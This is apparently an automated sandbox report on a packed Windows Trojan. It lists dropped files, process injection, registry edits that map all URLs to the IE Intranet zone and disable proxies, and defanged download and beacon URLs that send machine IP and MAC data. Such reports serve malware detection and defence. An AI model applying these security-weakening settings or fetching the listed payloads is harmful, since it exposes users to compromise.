MD5: 59e6b6aaed755aed3c7931b62e7f8369
SHA1: 6dc2a60a34b805cc921a8b6a6df4ceb8d00abaec
SHA256: 2dc9c2c864b517a6abdd591c1865b4ceb6c53d7f6279a1c77fc7f1fde0a64d89
SSDeep: 3072:5gXdZt9P6D3XJ43Y6pvTOFD hNnTjqt2aT/O4VQOZFf0I:5e34u7T1jovQkFf0I
Size: 142855 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: MC
Created at: 2009-12-06 00:50:52
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

MYLogger.exe:776
9377mycs_Y_mgaz2_01.exe:1104

The Trojan injects its code into the following process(es):

ntvdm.exe:1436
ntvdm.exe:280
%original file name%.exe:1388
MYLogger.exe:284

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process ntvdm.exe:1436 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%WinDir%\Temp\scs9.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%WinDir% (192 bytes)
%WinDir%\Temp\scsA.tmp (10145 bytes)
C:\$Directory (4 bytes)
%System% (3048 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\scs9.tmp (0 bytes)
%WinDir%\Temp\scsA.tmp (0 bytes)

The process ntvdm.exe:280 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ (4 bytes)
%Documents and Settings%\%current user%\FAVORITES (4 bytes)
%Program Files%\MESSENGER (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%Program Files%\Internet Explorer (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (636 bytes)
%Documents and Settings%\%current user%\Local Settings (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (992 bytes)
%Documents and Settings%\All Users (4 bytes)
%WinDir% (1152 bytes)
C:\$Directory (1236 bytes)
%Program Files%\Windows NT (4 bytes)
%System% (6176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%Program Files% (4 bytes)
%System%\config (8 bytes)
%Documents and Settings%\All Users\Start Menu (4 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ (4 bytes)
%WinDir%\Temp\scs7.tmp (33880 bytes)
%Documents and Settings%\%current user% (4 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (484 bytes)
%WinDir%\Temp\Perflib_Perfdata_668.dat (4 bytes)
%Program Files%\Common Files\Adobe\Acrobat\ActiveX (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs (4 bytes)
%WinDir%\Temp\scs8.tmp (10145 bytes)
%Documents and Settings%\%current user%\Cookies (192 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\scs8.tmp (0 bytes)
%WinDir%\Temp\scs7.tmp (0 bytes)

The process %original file name%.exe:1388 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\120148\uninst.lnk (713 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ins1256858[1].exe (65488 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@baidu[1].txt (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\9377mycs_Y_mgaz2_01[1].exe (43024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\F0916_s_30911.exe (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\G0828_s_70988.exe (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\ins1256858.exe (65488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Desktop\Intrenet Explorer.lnk (1 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\NsProcess.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe (43024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iplookup[1].htm (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Program Files%\120148\Uninstall.exe (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\2.ico (9291 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\1.rar (20 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\4.ico (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\QQBrowser_Setup_Hk_78653.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\BaiduPlayerNetSetup_481.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\netbian_a_41763.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\setup_3386.exe (0 bytes)

The process MYLogger.exe:284 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@9377[1].txt (122 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quick_register[1].jpg (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[2].js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[2].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[1].css (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ajax[1].js (3848 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[1].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\wczc_btn[1].jpg (392 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[2].css (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\input_bg[1].jpg (6 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@9377[2].txt (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ajax[1].js (5745 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@9377[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ajax[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416\index.dat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416 (0 bytes)

The process 9377mycs_Y_mgaz2_01.exe:1104 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\uninstall.lnk (1 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MeiYing.dll (16288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ip.dll (784 bytes)
%Documents and Settings%\All Users\Desktop\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn5.tmp (32278 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.exe (13368 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\uninstall.exe (2275 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.ini (595 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ip.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (0 bytes)

Registry activity

The process %original file name%.exe:1388 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 79 4C BE F4 1A D0 F8 0F 36 F0 E0 52 C4 99 B1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process MYLogger.exe:776 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 04 95 E2 F8 C1 9F EF 57 14 D2 8B B9 79 14 60"

The process MYLogger.exe:284 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CacheOptions" = "11"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012016050920160510\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CacheRepair" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 98 E8 36 B6 B4 B2 2B 15 60 78 1C DE 0C 7A EB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CachePrefix" = ":2016050920160510:"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CacheLimit" = "8192"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014041520140416]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process 9377mycs_Y_mgaz2_01.exe:1104 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"NoModify" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\9377÷ÈÓ°´«Ëµ]
"(Default)" = "%Program Files%\9377÷ÈÓ°´«Ëµ"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"DisplayName" = "9377÷ÈÓ°´«Ëµ"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"UninstallString" = "%Program Files%\9377÷ÈÓ°´«Ëµ\uninstall.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 ED 10 29 65 DA FD 74 38 AF AD 89 32 6A 51 B5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://int.dpool.sina.com.cn/iplookup/iplookup.php	180.149.136.219
hxxp://d.jidihe.com/dudu/netbian_a_41763.exe
hxxp://08913.xdwscache.ourwebpic.com/20140928/9377mycs_Y_mgaz2_01.exe
hxxp://www.9377.com/api/client_data_receive.php?Name=9377meiying&Channel=mgaz2&referer_param=01&Version=1.1.0.8&IP=192.168.11.128&MAC=00-0C-29-FD-55-AD&Installtime=2016/5/9/7:52:13&ExeName=C:Documents and SettingsadmLocal SettingsTemp sz2.tmp9377mycs_Y_mgaz2_01.exe	103.243.93.22
hxxp://aqgw.n.shifen.com/index/fulldownload/30911
hxxp://swwx.n.shifen.com/go/full/2/30911
hxxp://www.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01	103.243.93.22
hxxp://swwx.n.shifen.com/go/full/2/.exe
hxxp://swwx.n.shifen.com/go/full/1/70988
hxxp://swwx.n.shifen.com/go/full/1/.exe
hxxp://dldir1.qq.com.cdngc.net/invc/tt/QQBrowser_Setup_Hk_78653.exe	37.29.0.60
hxxp://08913.xdwscache.ourwebpic.com/js/ajax.js?20160509101453
hxxp://08913.xdwscache.ourwebpic.com/style/my/pc_new.css?20160509101453
hxxp://08913.xdwscache.ourwebpic.com/js/jquery.Slideshow.js?20160509101453
